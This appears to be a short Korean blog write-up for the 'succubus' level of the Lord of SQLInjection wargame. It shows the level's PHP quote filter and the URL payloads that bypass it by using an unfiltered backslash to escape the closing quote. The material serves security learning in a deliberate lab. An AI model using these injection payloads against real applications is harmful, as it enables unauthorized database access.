본문 바로가기

Wargame(hacking)/LOS

LORD OF SQLINJECTION : succubus

Write-Up

 

  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/\'/',$_GET[id])) exit("HeHe");
  if(preg_match('/\'/',$_GET[pw])) exit("HeHe");
  $query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; 
  
  if($result['id']) solve("succubus");

 

위의 필터링 조건을 봤을 때, '(single quote) 를 사용할 수 없다. 하지만 현재 백슬래시 문자( \ )가 필터링 되어있지 않다. 이 경우에 \ 를 사용해 '(single quote) 필터링을 우회할 수 있다. 

 

select test1 from test where id='\' and pw=' or 1#
?id=\&pw=%20or%201%23

?id=1\&pw=%20or%201=1%23

 

그림 1